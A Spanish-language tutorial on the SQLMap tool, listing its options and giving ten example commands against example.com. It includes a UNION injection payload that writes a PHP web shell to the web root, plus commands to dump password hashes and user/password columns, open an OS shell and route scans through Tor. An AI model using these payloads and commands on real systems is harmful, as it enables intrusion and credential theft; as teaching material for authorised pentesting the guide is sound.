¿Que es? #
SQLMap es una herramienta de código abierto diseñada para automatizar la detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web. Esta poderosa herramienta es utilizada por pentesters y profesionales de la ciberseguridad para evaluar la seguridad de aplicaciones que interactúan con bases de datos.
Aquí podrás ver cómo se puede usar esta herramienta:
Parámetros #
Parámetros generales #
-u 'http://'
: Pasar la URL
--cookie "PHPSESSID="
: Pasarle la cookie de sesión
--random-agent
: Usa un User-agent aleatorio
--proxy (proxy)
: Pasarle un proxy
--tor
: Usa una red Tor
--dbms database_type
: Si sabes que tipo de base de datos esta por detrás se lo puedes indicar
--batch
: Que el programa no te pregunte
Parámetros de Detección #
--level (level_number)
: Define la cantidad de pruebas que SQLMap llevará a cabo en cada parámetro
--risk (risk_number)
: Define el riesgo asociado a las pruebas que SQLMap realiza. A medida que incrementas el riesgo, SQLMap ejecuta técnicas de inyección más agresivas y potencialmente destructivas
Parámetros de Selección #
-D database_name
: Con esto seleccionas la base de datos que quieres dumpear
-T table_name
: Con esto seleccionas la tabla que quieres dumpear
-C column_name
: Con esto seleccionas la tabla que quieres dumpear
Parámetros de Enumeración #
--tables
: Enumerar las tablas
--dbs
: Enumerar bases de datos en uso
--columns
: Enumerar columnas
--dump
: Enumerar data
-a, --all
: Enumera todo
-b, --banner
: Enumera el banner de la base de datos
--current-user
: Enumera el usuario en uso
--current-db
: Enumera la base de datos en uso
--passwords
: Enumera los hashes de las contraseñas de los usuarios
--os-shell
: Obtener una shell del sistema operativo a través de una vulnerabilidad de inyección SQL
Este parametro funciona más o menos de esta manera:
' union select NULL,"<?php system($_GET['cmd']); ?>",NULL into outfile "/var/www/html/malicious.php"-- -
Esta vulnerabilidad permite a un atacante escribir un archivo PHP malicioso en el servidor para ejecutar comandos del sistema operativo
--os-pwn
: Busca obtener una shell, Meterpreter o VNC a través de un canal Out-Of-Band (OOB)
Ejemplos de uso #
Ejemplo 1: Enumerar todas las tablas en una base de datos específica usando un User-agent aleatorio y pasando una cookie de sesión:
sqlmap -u 'http://www.example.com/page.php?id=1' --random-agent --cookie "PHPSESSID=abcdef123456" -D mydatabase --tables
Ejemplo 2: Enumerar todas las tablas en una base de datos específica con nivel de prueba 3 y riesgo alto, utilizando un proxy para la conexión:
sqlmap -u 'http://www.example.com/page.php?id=1' --level=3 --risk=3 --proxy http://localhost:8080 -D mydatabase --tables
Ejemplo 3: Obtener una shell del sistema operativo y utilizar Tor para realizar el escaneo:
sqlmap -u 'http://www.example.com/page.php?id=1' --os-shell --tor
Ejemplo 4: Enumerar todos los datos y guardar la salida en un archivo específico:
sqlmap -u 'http://www.example.com/page.php?id=1' -a --output-file=sqlmap_results.txt
Ejemplo 5: Enumerar todas las bases de datos:
sqlmap -u 'http://www.example.com/page.php?id=1' --dbs
Ejemplo 6: Enumerar el banner de la base de datos y el usuario actual utilizando un User-agent aleatorio:
sqlmap -u 'http://www.example.com/page.php?id=1' -b --current-db --current-user
Ejemplo 7: Enumerar hashes de contraseñas de usuarios:
sqlmap -u 'http://www.example.com/page.php?id=1' --passwords
Ejemplo 8: Enumerar 2 columnas en especifico de una tabla y base de datos especifica:
sqlmap -u 'http://www.example.com/page.php?id=1' -D mydatabase -T table -C user,password --dump
Ejemplo 9: Enumerar todo, incluyendo el banner de la base de datos, usuario actual y hashes de contraseñas:
sqlmap -u 'http://www.example.com/page.php?id=1' -a -b --current-user --passwords
Ejemplo 10: Enumerar todas las bases de datos y luego todas las tablas y columnas de una base de datos específica, utilizando una cookie y Tor:
sqlmap -u 'http://www.example.com/page.php?id=1' --dbs --tables --columns -D testdb --cookie "PHPSESSID=abcdef123456" --tor
Espero que os sirva para entender mejor como utilizar esta herramienta.